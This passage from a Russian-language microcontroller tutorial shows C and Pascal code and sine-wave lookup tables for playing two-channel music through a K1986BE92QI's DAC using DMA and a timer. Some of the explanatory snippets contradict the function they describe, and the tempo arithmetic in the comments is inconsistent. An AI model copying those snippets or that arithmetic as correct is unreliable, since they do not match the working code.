23, 22, 21, 19, 18, 17, 15, 14, 13, 12, 10, 9, 8, 7, 6, 5, 4, 3, 2, 2, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 2, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 14, 15, 15, 16, 18, 19, 20, 22, 23, 24, 25, 26, 27, 28, 28, 29, 29, 30, 30, 30, 30, 30, 29, 29, 29, 28, 27, 26, 25, 24, 23, 22, 21, 19, 18, 17, 15, 14, 13, 11, 10, 9, 8, 6, 5, 4, 3, 3, 2, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 2, 3, 3, 4, 5, 6, 8, 9, 10, 11, 13, 14, 15, 15, 16, 18, 19, 21, 22, 23, 24, 26, 26, 27, 28, 29, 29, 30, 30, 30, 30, 30, 29, 29, 28, 28, 27, 26, 25, 24, 22, 21, 20, 18, 17, 16, 14, 13, 11, 10, 9, 7, 6, 5, 4, 3, 2, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 2, 3, 4, 5, 6, 7, 8, 10, 11, 12, 14, 15, 15, 17, 18, 20, 21, 22, 24, 25, 26, 27, 28, 29, 29, 30, 30, 30, 30, 30, 29, 29, 28, 27, 27, 26, 24, 23, 22, 20, 19, 17, 16, 14, 13, 11, 10, 8, 7, 6, 5, 4, 3, 2, 1, 1, 0, 0, 0, 0, 0, 1, 1, 2, 3, 4, 5, 6, 7, 9, 10, 12, 13, 15, 15, 17, 18, 20, 21, 23, 24, 25, 26, 27, 28, 29, 29, 30, 30, 30, 30, 29, 29, 28, 27, 26, 25, 24, 23, 21, 20, 18, 16, 15, 13, 12, 10, 8, 7, 6, 4, 3, 2, 2, 1, 0, 0, 0, 0, 0, 1, 1, 2, 3, 4, 5, 6, 8, 9, 11, 12, 14, 15, 15, 17, 18, 20, 22, 23, 25, 26, 27, 28, 29, 29, 30, 30, 30, 30, 29, 29, 28, 27, 26, 25, 24, 22, 20, 19, 17, 15, 14, 12, 10, 9, 7, 6, 4, 3, 2, 1, 1, 0, 0, 0, 0, 0, 1, 2, 3, 4, 5, 6, 8, 9, 11, 12, 14, 15, 17, 19, 20, 22, 24, 25, 26, 27, 28, 29, 30, 30, 30, 30, 29, 29, 28, 27, 26, 25, 23, 22, 20, 18, 16, 14, 13, 11, 9, 7, 6, 5, 3, 2, 1, 1, 0, 0, 0, 0, 1, 1, 2, 3, 4, 6, 7, 9, 11, 12, 14, 15, 17, 19, 21, 22, 24, 26, 27, 28, 29, 29, 30, 30, 30, 30, 29, 28, 27, 26, 24, 23, 21, 19, 17, 16, 14, 12, 10, 8, 6, 5, 4, 2, 1, 1, 0, 0, 0, 0, 1, 2, 3, 4, 5, 7, 8, 10, 12, 14, 16, 15, 17, 19, 21, 23, 24, 26, 27, 28, 29, 30, 30, 30, 30, 29, 28, 27, 26, 24, 23, 21, 19, 17, 15, 13, 11, 9, 7, 5, 4, 3, 2, 1, 0, 0, 0, 0, 1, 2, 3, 4, 6, 8, 9, 11, 13, 15, 15, 17, 19, 21, 23, 25, 26, 28, 29, 29, 30, 30, 30, 29, 28, 27, 26, 24, 23, 21, 19, 16, 14, 12, 10, 8, 6, 4, 3, 2, 1, 0, 0, 0, 0, 1, 2, 3, 5, 6, 8, 10, 12, 14, 15, 17, 20, 22, 24, 25, 27, 28, 29, 30, 30, 30, 29, 29, 28, 26, 24, 23, 20, 18, 16, 14, 11, 9, 7, 5, 4, 2, 1, 0, 0, 0, 0, 1, 2, 3, 5, 7, 9, 11, 13, 15, 15, 17, 20, 22, 24, 26, 27, 29, 29, 30, 30, 30, 29, 28, 26, 25, 23, 20, 18, 16, 13, 11, 9, 6, 5, 3, 2, 1, 0, 0, 0, 1, 2, 3, 5, 7, 9, 11, 14, 16, 15, 18, 20, 22, 25, 26, 28, 29, 30, 30, 30, 29, 28, 27, 25, 23, 21, 18, 15, 13, 10, 8, 6, 4, 2, 1, 0, 0, 0, 1, 2, 3, 5, 7, 9, 11, 14, 15, 18, 20, 23, 25, 27, 28, 29, 30, 30, 29, 29, 27, 25, 23, 21, 18, 15, 13, 10, 8, 5, 3, 2, 1, 0, 0, 0, 1, 3, 4, 6, 9, 11, 14, 15, 18, 21, 23, 26, 27, 29, 30, 30, 30, 29, 28, 26, 24, 21, 18, 16, 13, 10, 7, 5, 3, 1, 0, 0, 0, 1, 2, 4, 6, 8, 11, 14};
extern uint16_t Sound_exhaust; //Флаг разрешения записи.
int main (void)
{
HSE_Clock_ON(); //Разрешаем использование HSE генератора.
HSE_Clock_OffPLL(); //Настраиваем "путь" сигнала и включаем тактирование от HSE генератора.
HSE_PLL(10); //8Мгц -> 80Мгц.
Buzzer_out_DAC_init(); //Настраиваем порт для ЦАП.
DAC_Init(); //Настраиваем ЦАП.
DMA_to_DAC_and_TIM1(); //Настраиваем DMA для работы с DAC2 через таймер 1.
Init_TIMER1_to_DMA_and_DAC2_for_BUFFER(); //Настраиваем таймер на выдачу нашей синусоиды.
while (1)
{
for (uint16_t LoopNotN = 0; LoopNotN<36; LoopNotN++)
Bufheck(0xFFF, LoopNotN);
}
}
```
Получившийся звук, программа на паскале и сам проект доступны на [github](https://github.com/Vadimatorik/k1986be92qi_music_card_with_buffer).
8. Ну вот. Как пользоваться буфером — разобрались. Теперь нужно написать функцию, которая могла бы играть одновременно две волны (или волну и паузу) 1/64 такта (будем вести длительности в 64-х). Это функция станет основой нашей основной программы. **Но перед этим проведем небольшой расчет.**
```
//Частота выдачи 32000 Гц. 32000 передач в секунде.
//Скорость воспроизведения 120 ударов в минуту. В минуте 60 секунд.
//=> у нас 600/60 ударов в секунду.
//У нас 1 такт - 4/4 (четыре четверти). В такте 4 удара.
//=>1 такт = 4 секунды.
//Мы играем 64-тыми. 32000 в секунду * 4 / 64 доли
// = 2000 передач за одну шестнадцатую.
```
**Функция выглядит так.**
```
uint16_t BufferIndex = 0; //Указатель на первый пустой элемент массива.
uint16_t LoopSin, LoopSin1; //Указатель на передаваемую ячейку значения периода волны.
uint8_t WavTon_BF1, WavTon_BF2; //Для "красивой" синусоиды. Чтобы в случае, если несколько шестнадцатых подряд идет одна и так же нота - ее синусоида не "рвалась", а продолжала.
void NoteBUF (uint8_t NambeN1, uint8_t NambeN2)
{
//Частота выдачи 32000 Гц. 32000 передач в секунде.
//Скорость воспроизведения 120 ударов в минуту. В минуте 60 секунд.
//=> у нас 600/60 ударов в секунду.
//У нас 1 такт - 4/4 (четыре четверти). В такте 4 удара.
//=>1 такт = 4 секунды.
//Мы играем 64-тыми. 32000 в секунду * 4 / 64 доли
// = 2000 передач за одну шестнадцатую.
if (WavTon_BF1!=NambeN1) {WavTon_BF1=NambeN1; LoopSin=0;}; //Если передаем новую волну - то с начала периода.
if (WavTon_BF2!=NambeN2) {WavTon_BF2=NambeN2; LoopSin1=0;};
for (uint16_t Del16 = 0; Del16<2000; Del16++) //Передаем 64-ю.
{
while (LoopBUFData == 0) {}; //Ждем, пока предыдущая часть массива передастся.
BufferData[BufferIndex]=SinMES[LoopSin+MesSM[NambeN1]]+SinMES[LoopSin1+MesSM[NambeN2]]; //Заполняем буффер. Громкость понижаем в 2 раза.
LoopSin++; LoopSin1++; //Приготовиться к показу следующего элемента.
if (LoopSin==MesKOL[NambeN1]) LoopSin=0; //Если прошел весь период 1-й волны - начать с начала.
if (LoopSin1==MesKOL[NambeN2]) LoopSin1=0; //Тоже самое со второй.
BufferIndex++; if (BufferIndex == (1024*2)) BufferIndex = 0; //Если счетчик буфера вышел за пределы - записывать с начала.
LoopBUFData--; //Указываем, что мы передали один элемент.
}
}
```
**Пояснения к коду.**
* Сначала мы смотрим, прошел ли период волны синусоиды (каждой отдельно). Если период прошел (счетчик досчитал до конца синусоиды), то начать с начала.
```
if (WavTon_BF1==NambeN1) {WavTon_BF1=NambeN1; LoopSin=0;}; //Если передаем новую волну - то с начала периода.
if (WavTon_BF2==NambeN2) {WavTon_BF2=NambeN2; LoopSin=0;};
```
* Далее мы производим передачу 2000 значений. Так как мы вычислили, что именно столько смен значений DMA требуется, чтобы получилось звучание с длительностью в одну шестнадцатую.
```
for (uint16_t Del16 = 0; Del16<2000; Del16++) //Передаем шестнадцатую.
```
* Далее проверяем наличие свободных ячеек. Если таковых нет, то ждем.
```
while (LoopBUFData == 0) {}; //Ждем, пока предыдущая часть массива передастся.
```
* Далее самое интересное. Наложение волн. Оно производится следующим образом.
```
BufferData[BufferIndex]=SinMES[LoopSin+MesSM[NambeN1]]+SinMES[LoopSin1+MesSM[NambeN2]]; //Заполняем буффер.
```
* Показываем, что мы передали по одному значению из каждой волны. Смотрим, если период прошел, то начать с начала.
```
LoopSin++; LoopSin1++; //Приготовиться к показу следущего элемента.
if (LoopSin>MesKOL[NambeN1]) LoopSin=0; //Если прошел весь период 1-й волны - начать с начала.
if (LoopSin1>MesKOL[NambeN2]) LoopSin1=0; //Тоже самое со второй.
```
* Ну а дальше уже привычная проверка буфера и перенос указателя в случае его заполненности в начало.
```
BufferIndex++; if (BufferIndex == (1024*2)) BufferIndex = 0; //Если счетчик буфера вышел за пределы - записывать с начала.
LoopBUFData--; //Указываем, что мы передали один элемент.
```
9. Опять же, в качестве теста напишем программу, которая на фоне играющей одной ноты играет все остальные. Разместим ее в главной функции.**Вот ее код.**
```
int main (void)
{
HSE_Clock_ON(); //Разрешаем использование HSE генератора.
HSE_Clock_OffPLL(); //Настраиваем "путь" сигнала и включаем тактирование от HSE генератора.
HSE_PLL(10); //8Мгц -> 80Мгц.
Buzzer_out_DAC_init(); //Настраиваем порт для ЦАП.
DAC_Init(); //Настраиваем ЦАП.
DMA_to_DAC_and_TIM1(); //Настраиваем DMA для работы с DAC2 через таймер 1.
Init_TIMER1_to_DMA_and_DAC2_for_BUFFER(); //Настраиваем таймер на выдачу нашей синусоиды.
while (1)
{
for (uint8_t NN0 = 0; NN0<36; NN0++)
{
for (uint8_t NN1 = 0; NN1<36; NN1++)
{
for (uint8_t POV = 0; POV<8; POV++) NoteBUF(NN0, NN1);
}
}
}
}
```
Проект доступен на [github](https://github.com/Vadimatorik/k1986be92qi_music_card_with_buffer)
10. Далее пора воспользоваться нашей функцией и сыграть двух канальную мелодию. Но перед этим немного модифицируем дополнительные программы (генератор значений синусоид и преобразователь нот в массив). Как оказалось, трех октав не достаточно. Я посмотрел, в каком диапазоне вообще могут быть ноты в Ringtone Editor. Оказалось, что программа может генерировать от до малой октавы до си третей октавы. Таким образом, нам нужно добавить возможность «понимать» и играть еще одной октавы. + я забыл о паузе. **Вот так выглядит код программы-преобразователя данных из INPUT.TXT в массив значений.**
```
Program Pr;
var input: file of char; //Отсюда читаем.
DataST: string; //Буффер для разбора ноты.
BufChar: char; //Буффер для посимвольного чтения.
Loop: integer; //Количество нот.
BufNOT: byte; //Значение для одной ноты/времени ноты.
MESNOT: array [0..1000, 0..1] of byte; //Массив до 10000 нот.
I: integer; //Счетчик-оформитель.
Begin
assign(input, 'INPUT.txt'); reset(input); //Подключаем файл для чтения.
Loop:=0;
while not Eof(input) do //Читаем до окончания файла.
Begin
DataST:='';
while 1=1 do //Читаем до пробела.
Begin
read(input, BufChar); //Читаем символ.
if (BufChar <> ' ') then DataST:=DataST+BufChar //Если не пустой символ - дописать.
else break; //Иначе - выйти.
End;
case DataST[1] of //Разбираем ноту.
'C': if (DataST[2] = 'i') then Begin //Если нота До, то смотрим на #.
if (DataST[4] = '1') then BufNOT:=1 //До# - малой октавы.
else if (DataST[4] = '2') then BufNOT:=13 //До# - первой октавы.
else if (DataST[4] = '3') then BufNOT:=25 //До# - второй октавы.
else if (DataST[4] = '4') then BufNOT:=37 //До# - третей октавы.
End else Begin
if (DataST[2] = '1') then BufNOT:=0 //До - малой октавы.
else if (DataST[2] = '2') then BufNOT:=12 //До - первой октавы.
else if (DataST[2] = '3') then BufNOT:=24 //До - второй октавы.
else if (DataST[2] = '4') then BufNOT:=36
End;
'D': if (DataST[2] = 'i') then Begin //Если нота Ре.
if (DataST[4] = '1') then BufNOT:=3
else if (DataST[4] = '2') then BufNOT:=15
else if (DataST[4] = '3') then BufNOT:=27
else if (DataST[4] = '4') then BufNOT:=39
End else Begin
if (DataST[2] = '1') then BufNOT:=2
else if (DataST[2] = '2') then BufNOT:=14
else if (DataST[2] = '3') then BufNOT:=26
else if (DataST[2] = '4') then BufNOT:=38 End;
'E': if (DataST[2] = '1') then BufNOT:=4 //Если нота Ми (Диеза "не имеет").
else if (DataST[2] = '2') then BufNOT:=16
else if (DataST[2] = '3') then BufNOT:=28
else if (DataST[2] = '4') then BufNOT:=40;
'F': if (DataST[2] = 'i') then Begin //Если нота Фа.
if (DataST[4] = '1') then BufNOT:=6
else if (DataST[4] = '2') then BufNOT:=18
else if (DataST[4] = '3') then BufNOT:=30
else if (DataST[4] = '4') then BufNOT:=42 End
else Begin
if (DataST[2] = '1') then BufNOT:=5
else if (DataST[2] = '2') then BufNOT:=17
else if (DataST[2] = '3') then BufNOT:=29
else if (DataST[2] = '4') then BufNOT:=41 End;
'G': if (DataST[2] = 'i') then Begin //Если нота Соль.
if (DataST[4] = '1') then BufNOT:=8
else if (DataST[4] = '2') then BufNOT:=20
else if (DataST[4] = '3') then BufNOT:=32
else if (DataST[4] = '4') then BufNOT:=44 End
else Begin
if (DataST[2] = '1') then BufNOT:=7
else if (DataST[2] = '2') then BufNOT:=19
else if (DataST[2] = '3') then BufNOT:=31
else if (DataST[2] = '4') then BufNOT:=43 End;
'A': if (DataST[2] = 'i') then Begin //Если нота Ля.
if (DataST[4] = '1') then BufNOT:=10
else if (DataST[4] = '2') then BufNOT:=22
else if (DataST[4] = '3') then BufNOT:=34
else if (DataST[4] = '4') then BufNOT:=46 End
else Begin
if (DataST[2] = '1') then BufNOT:=9
else if (DataST[2] = '2') then BufNOT:=21
else if (DataST[2] = '3') then BufNOT:=33
else if (DataST[2] = '4') then BufNOT:=45 End;
'B': if (DataST[2] = '1') then BufNOT:=11 //Си.
else if (DataST[2] = '2') then BufNOT:=23
else if (DataST[2] = '3') then BufNOT:=35
else if (DataST[2] = '4') then BufNOT:=47;
'P': BufNOT:=48; //В случае "паузы".
End;
MESNOT[Loop][0]:=BufNOT; //Сохраняем номер ноты.
if (DataST[length(DataST)-1] = '.') then //Если длительность с точкой.
Begin
if (DataST[length(DataST)-3] = '/') then //Если длительность из одного знака (1/1, 1/2, 1/4, 1/8).
case DataST[length(DataST)-2] of
'1': BufNOT:=64+32;
'2': BufNOT:=32+16;
'4': BufNOT:=16+8;
'8': BufNOT:=8+4; end //64 с точной запрещена!
else if (DataST[length(DataST)-3] = '3') and (DataST[length(DataST)-2] = '2') then BufNOT:=2+1 //Если 32-я.
else if (DataST[length(DataST)-3] = '1') and (DataST[length(DataST)-2] = '6') then BufNOT:=4+2; //Если 16-я.
End
else Begin //Если длительность без точки.
if (DataST[length(DataST)-2] = '/') then //Если длительность из одного знака (1/1, 1/2, 1/4, 1/8).
case DataST[length(DataST)-1] of
'1': BufNOT:=64;
'2': BufNOT:=32;
'4': BufNOT:=16;
'8': BufNOT:=8; end
else if (DataST[length(DataST)-2] = '6') and (DataST[length(DataST)-1] = '4') then BufNOT:=1 //Если 64-я.
else if (DataST[length(DataST)-2] = '3') and (DataST[length(DataST)-1] = '2') then BufNOT:=2 //Если 32-я.
else if (DataST[length(DataST)-2] = '1') and (DataST[length(DataST)-1] = '6') then BufNOT:=4; //Если 16-я.
End;
MESNOT[Loop][1]:=BufNOT; //Сохраняем длительность.
Loop:=Loop+1;
End;
writeln ('//Массив нот.'); //Оформляем массив.
write('uint8_t MusicNote [', Loop, '][2] = {');
for I:=0 to Loop-1 do Begin write(MESNOT[I][0], ',', MESNOT[I][1]);
if (I<>(Loop-1)) then write(', ');
End;
write('};');
End.
```
**А так выглядит код генератора массива синусоид звука + пауза.**
```
Program Sin_wav_Gener;
Var DAC_CLK: word; //Частота смены данных DAC.
Loop: word; //Количество элементов в волне.
PR: real; //Период волны.
I: word; //Счетчик.
ISIN: byte; //Счетчик номера волны.
GR: byte; //Громкость волны.
MesVoln: array [0..100000] of integer; //Массив значений для волны.
MesSM: array [0..47] of word; //Смещение.
MesKOL: array [0..47] of word; //Количество в блоке.
const SinTON: array [0..47] of real =
(130.82, 138.59, 147.83, 155.56, 164.81, 174.62, 185, 196, 207,
220, 233.08, 246.96, 261.63, 277.18, 293.33, 311.13, 329.63, 349.23,
369.99, 392, 415.30, 440, 466.16, 493.88, 523.25, 554.36, 587.32,
622.26, 659.26, 698.46, 739.98, 784, 830.60, 880, 932.32, 987.75,
1046.5, 1108.7, 1174.6, 1244.5, 1318.5, 1396.9, 1480, 1568, 1661.2,
1760, 1864.6, 1975.5);
Begin
Loop := 0; //Общее количество занимаемой памяти.
write('Частота смены DAC: '); readln(DAC_CLK); //Получаем частоту смены DAC.
write('Введите громкость (1..50): '); readln(GR);//Громкость волны.
for ISIN:=0 to 47 do //Генерируем массивы для всех 36 нот.
Begin
PR:=DAC_CLK/SinTON[ISIN]/2; //Получаем период волны.
MesSM[ISIN]:=Loop; //Смещение.
MesKOL[ISIN]:=Round(PR*2)+1; //Количество элементов в блоке.
for I:=0 to Round(PR*2) do //Считаем волну.
Begin
MesVoln[Loop]:=Round(GR+GR*sin(I*pi/PR));
Loop:=Loop+1;
End;
End;
writeln('//Количество элементов в синусоиде.');
write('const uint16_t MesKOL [49] = {');
for I:=0 to 47 do write(MesKOL[I], ', ');
writeln('1};'); //Последний элемент - пустота. Она занимает 1 блок.
writeln('//Смещение первого элемента массива.');
write('const uint16_t MesSM [49] = {');
for I:=0 to 47 do write(MesSM[I], ', ');
writeln(MesSM[47]+MesKOL[47], '};'); //Положение "пустоты". Для паузы.
writeln('//Выдаем основной массив.');
write('const uint8_t SinMES [', Loop+1, '] = {');
for I:=0 to Loop-1 do write(MesVoln[I], ', ');
writeln(0, '};'); //Последний элемент - "0". Пустота.
End.
```
Преобразователь можно и генератор синусоид находятся вместе с кодом проекта. Теперь мы можем понимать и воспроизводить 4 полноценные октавы. Доступные длительности: 1/1, 1/2, 1/4, 1/8, 1/16, 1/32, 1/64, 1/1., 1/2./ 1/4., 1/8., 1/16., 1/32. Как вы могли заметить 1/64. нет. Для ее создания пришлось бы все переделывать под 1/128. Так как 1/64. = 1/64+1/128.
11. Теперь можно приступить к воспроизведению музыки.**У меня получилась следующая функция.**
```
//Массив нот.
uint8_t MusicNote [112][2] = {18,8, 25,8, 13,24, 21,8, 21,16, 18,8, 25,8, 13,24, 21,8, 23,8, 21,8, 16,32, 48,8, 20,8, 16,8, 14,8, 11,32, 10,8, 18,8, 14,8, 13,8, 14,8, 16,8, 18,24, 20,8, 21,8, 23,8, 21,32, 17,16, 18,8, 25,8, 13,24, 21,8, 21,16, 18,8, 25,8, 13,24, 21,8, 23,8, 21,8, 16,32, 48,8, 20,8, 16,8, 14,8, 11,32, 10,8, 18,8, 14,8, 13,8, 14,8, 23,8, 21,8, 20,8, 13,8, 17,8, 11,8, 17,8, 10,8, 22,8, 23,8, 25,8, 26,8, 21,8, 16,8, 26,8, 20,8, 28,8, 18,8, 25,8, 18,8, 21,8, 12,8, 18,8, 15,8, 21,16, 23,8, 17,16, 48,16, 18,8, 25,8, 13,24, 21,8, 21,16, 18,8, 25,8, 13,24, 21,8, 23,8, 21,8, 18,32, 20,8, 16,8, 14,8, 11,32, 10,8, 18,8, 14,8, 13,8, 14,8, 23,8, 21,8, 20,8, 13,8, 17,8, 15,8, 17,8, 9,24, 9,8, 11,16, 8,16, 9,64};
uint8_t MusicNote1 [120][2] = {48,16, 17,8, 25,8, 29,16, 18,8, 25,8, 30,16, 17,8, 25,8, 29,16, 18,16, 14,8, 21,8, 26,8, 28,8, 26,32, 13,8, 20,8, 25,8, 26,8, 28,32, 23,8, 30,8, 35,8, 30,8, 24,8, 27,8, 30,8, 33,8, 25,8, 30,8, 32,8, 35,24, 48,16, 17,8, 25,8, 29,16, 18,8, 25,8, 30,16, 17,8, 25,8, 29,16, 18,16, 14,8, 21,8, 26,8, 28,8, 30,32, 13,8, 20,8, 25,8, 26,8, 28,32, 23,16, 24,16, 25,16, 13,16, 18,8, 18,8, 20,8, 22,8, 23,16, 16,16, 21,16, 14,16, 15,3, 18,3, 21,3, 18,3, 21,3, 24,3, 21,3, 24,3, 27,3, 24,3, 27,3, 30,3, 25,8, 30,8, 32,8, 35,24, 48,32, 17,8, 25,8, 29,16, 18,8, 25,8, 30,16, 17,8, 25,8, 29,16, 18,16, 14,8, 21,8, 26,8, 28,8, 26,32, 13,8, 20,8, 25,8, 26,8, 28,32, 30,16, 24,16, 25,16, 13,16, 18,8, 25,8, 30,8, 25,8, 26,8, 30,8, 23,8, 30,8, 25,8, 30,8, 25,8, 18,8, 6,32};
const uint16_t MesKOL [49] = {246, 232, 217, 207, 195, 184, 174, 164, 156, 146, 138, 131, 123, 116, 110, 104, 98, 93, 87, 83, 78, 74, 70, 66, 62, 59, 55, 52, 50, 47, 44, 42, 40, 37, 35, 33, 32, 30, 28, 27, 25, 24, 23, 21, 20, 19, 18, 17, 1};
//Смещение первого элемента массива.
const uint16_t MesSM [49] = {0, 246, 478, 695, 902, 1097, 1281, 1455, 1619, 1775, 1921, 2059, 2190, 2313, 2429, 2539, 2643, 2741, 2834, 2921, 3004, 3082, 3156, 3226, 3292, 3354, 3413, 3468, 3520, 3570, 3617, 3661, 3703, 3743, 3780, 3815, 3848, 3880, 3910, 3938, 3965, 3990, 4014, 4037, 4058, 4078, 4097, 4115, 4132};
//Выдаем основной массив.
const uint8_t SinMES [4133] = {10, 10, 11, 11, 11, 11, 12, 12, 12, 12, 13, 13, 13, 13, 14, 14, 14, 14, 14, 15, 15, 15, 15, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 15, 15, 15, 15, 15, 14, 14, 14, 14, 13, 13, 13, 13, 12, 12, 12, 12, 11, 11, 11, 11, 10, 10, 10, 10, 9, 9, 9, 9, 8, 8, 8, 8, 7, 7, 7, 7, 6, 6, 6, 6, 5, 5, 5, 5, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 5, 6, 6, 6, 6, 7, 7, 7, 7, 8, 8, 8, 8, 9, 9, 9, 9, 10, 10, 10, 10, 10, 11, 11, 11, 11, 12, 12, 12, 12, 13, 13, 13, 13, 14, 14, 14, 14, 15, 15, 15, 15, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 15, 15, 15, 15, 14, 14, 14, 14, 13, 13, 13, 13, 12, 12, 12, 11, 11, 11, 11, 10, 10, 10, 10, 9, 9, 9, 8, 8, 8, 8, 7, 7, 7, 7, 6, 6, 6, 6, 5, 5, 5, 5, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 5, 5, 5, 5, 6, 6, 6, 6, 7, 7, 7, 7, 8, 8, 8, 8, 9, 9, 9, 9, 10, 10, 10, 10, 11, 11, 11, 11, 12, 12, 12, 13, 13, 13, 13, 14, 14, 14, 14, 15, 15, 15, 15, 16, 16, 16, 16, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 16, 16, 16, 16, 16, 15, 15, 15, 15, 14, 14, 14, 13, 13, 13, 13, 12, 12, 12, 12, 11, 11, 11, 10, 10, 10, 9, 9, 9, 9, 8, 8, 8, 7, 7, 7, 7, 6, 6, 6, 6, 5, 5, 5, 5, 4, 4, 4, 4, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 6, 6, 6, 6, 7, 7, 7, 8, 8, 8, 8, 9, 9, 9, 10, 10, 10, 10, 11, 11, 11, 12, 12, 12, 12, 13, 13, 13, 14, 14, 14, 14, 15, 15, 15, 15, 16, 16, 16, 16, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 16, 16, 16, 16, 15, 15, 15, 15, 14, 14, 14, 14, 13, 13, 13, 12, 12, 12, 11, 11, 11, 11, 10, 10, 10, 9, 9, 9, 8, 8, 8, 8, 7, 7, 7, 6, 6, 6, 6, 5, 5, 5, 4, 4, 4, 4, 4, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 6, 6, 6, 6, 7, 7, 7, 8, 8, 8, 9, 9, 9, 9, 10, 10, 10, 10, 11, 11, 11, 12, 12, 12, 13, 13, 13, 13, 14, 14, 14, 15, 15, 15, 16, 16, 16, 16, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 16, 16, 16, 16, 15, 15, 15, 14, 14, 14, 14, 13, 13, 13, 12, 12, 12, 11, 11, 11, 10, 10, 10, 9, 9, 9, 8, 8, 8, 7, 7, 7, 7, 6, 6, 6, 5, 5, 5, 5, 4, 4, 4, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 6, 6, 6, 6, 7, 7, 7, 8, 8, 8, 9, 9, 9, 10, 10, 10, 10, 11, 11, 11, 12, 12, 12, 13, 13, 13, 14, 14, 14, 15, 15, 15, 16, 16, 16, 16, 17, 17, 17, 17, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 17, 17, 17, 17, 16, 16, 16, 16, 15, 15, 15, 15, 14, 14, 14, 13, 13, 13, 12, 12, 12, 11, 11, 11, 10, 10, 10, 9, 9, 9, 8, 8, 7, 7, 7, 7, 6, 6, 6, 5, 5, 5, 4, 4, 4, 4, 3, 3, 3, 3, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 6, 6, 6, 7, 7, 7, 8, 8, 8, 9, 9, 9, 10, 10, 10, 10, 11, 11, 11, 12, 12, 13, 13, 13, 14, 14, 14, 15, 15, 15, 15, 16, 16, 16, 17, 17, 17, 17, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 17, 17, 17, 17, 16, 16, 16, 15, 15, 15, 14, 14, 14, 13, 13, 13, 12, 12, 12, 11, 11, 11, 10, 10, 9, 9, 9, 8, 8, 8, 7, 7, 